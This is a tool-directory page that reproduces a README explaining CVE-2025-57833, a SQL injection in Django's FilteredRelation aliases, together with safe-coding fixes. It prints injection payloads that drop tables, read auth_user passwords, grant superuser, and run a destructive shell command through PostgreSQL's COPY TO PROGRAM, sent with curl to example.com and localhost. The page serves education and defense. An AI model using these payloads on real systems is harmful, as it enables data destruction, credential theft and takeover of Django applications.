Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/mkway/cve-2025-57833
Static AnalysisVulnerability AnalysisCode AnalysisWeb Application ExploitationPenetration TestingLearning & Education
GitHubmkway/cve-2025-57833

CVE-2025-57833

We've set up an environment to test CVE-2025-57833. This environment was built using AI, so it's subject to ongoing modification.

View Repository
2121 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-57833: Django SQL Injection Vulnerability

This repository demonstrates and explains CVE-2025-57833, a critical SQL injection vulnerability in Django's ORM that affects versions 4.2 before 4.2.24, 5.1 before 5.1.12, and 5.2 before 5.2.6.

🚨 Vulnerability Overview

CVSS Score: 9.8 (Critical)
Impact: SQL Injection leading to Remote Code Execution (RCE)
Authentication Required: None (Unauthenticated attack)


📚 Understanding the Background

What is Django ORM?

Django ORM (Object-Relational Mapping) allows developers to interact with databases using Python code instead of raw SQL. For example:

root@kitploit:~
# Instead of raw SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

What is FilteredRelation?

FilteredRelation is a Django feature that allows you to join tables with additional filtering conditions:

root@kitploit:~
# Join books with authors, but only active authors
Book.objects.annotate(
    active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')

What are Dynamic Field Names?

Sometimes developers need to create field names dynamically based on user input:

root@kitploit:~
# User wants to search by different criteria
search_field = request.POST.get('field_name')  # User input: "title", "author", etc.

# Dynamic field creation using **kwargs
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

🎯 The Vulnerability Explained

How the Vulnerability Occurs

The vulnerability happens when unsanitized user input is used as dictionary keys in annotate() or alias() with FilteredRelation. Here's the step-by-step process:

Step 1: Vulnerable Code Pattern

root@kitploit:~
# This is what vulnerable applications do:
user_input = request.POST.get('search_field')  # Attacker controls this

# The vulnerability is here - user input becomes SQL column alias
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ DANGEROUS
})

Step 2: Malicious Input

An attacker sends malicious input:

root@kitploit:~
user_input = "malicious_field'; DROP TABLE users; --"

Step 3: SQL Generation

Django generates SQL like this:

root@kitploit:~
SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

Step 4: SQL Injection Executed

The malicious SQL is executed, potentially:

  • Dropping tables
  • Extracting sensitive data
  • Executing arbitrary commands (RCE)

🔍 Real-World Attack Scenario

Common Vulnerable Pattern

Many Django applications have search functionality where users can choose which field to search:

root@kitploit:~
# views.py - Common vulnerable pattern
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # Developer thinks this is safe - IT'S NOT!
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

Attack Vector

root@kitploit:~
# Attacker sends this POST request:
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

⚖️ Safe vs Vulnerable Code

❌ Vulnerable Code

root@kitploit:~
# NEVER DO THIS - Direct user input as dictionary key
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # SQL Injection!
})

✅ Safe Code - Whitelist Approach

root@kitploit:~
# SAFE - Use whitelist validation
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("Invalid field")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # Now safe
})

✅ Safe Code - Static Field Names

root@kitploit:~
# SAFE - Use static field names
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

💥 Impact Escalation: From SQL Injection to RCE

1. Information Disclosure

root@kitploit:~
-- Extract sensitive data
'; SELECT username, password FROM auth_user; --

2. Database Manipulation

root@kitploit:~
-- Modify data
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

3. Remote Code Execution (PostgreSQL)

root@kitploit:~
-- Execute system commands (PostgreSQL with appropriate extensions)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

🛡️ Mitigation Strategies

1. Input Validation (Recommended)

root@kitploit:~
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"Field '{field_name}' not allowed")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

2. Avoid Dynamic Field Names

root@kitploit:~
# Instead of dynamic field names, use conditional logic
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("Invalid search type")

3. Update Django

Update to the latest Django version:

  • Django 4.2.24+
  • Django 5.1.12+
  • Django 5.2.6+

🧪 Testing This Vulnerability

This repository includes a complete test environment:

root@kitploit:~
# Run the vulnerable Django application
docker-compose up

# Test the vulnerability
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'

For detailed testing instructions, see document/README.md.


📖 References

  • Django Security Advisory: Django security releases issued: 5.2.6, 5.1.12, and 4.2.24
  • Technical Analysis: Django Unauthenticated 0-click RCE and SQL Injection by Eyal Gabay
  • CVE Details: CVE-2025-57833 Django SQL Injection

⚠️ Disclaimer

This repository is for educational and defensive security purposes only. Do not use this information to attack systems you don't own or have permission to test.

Download Tool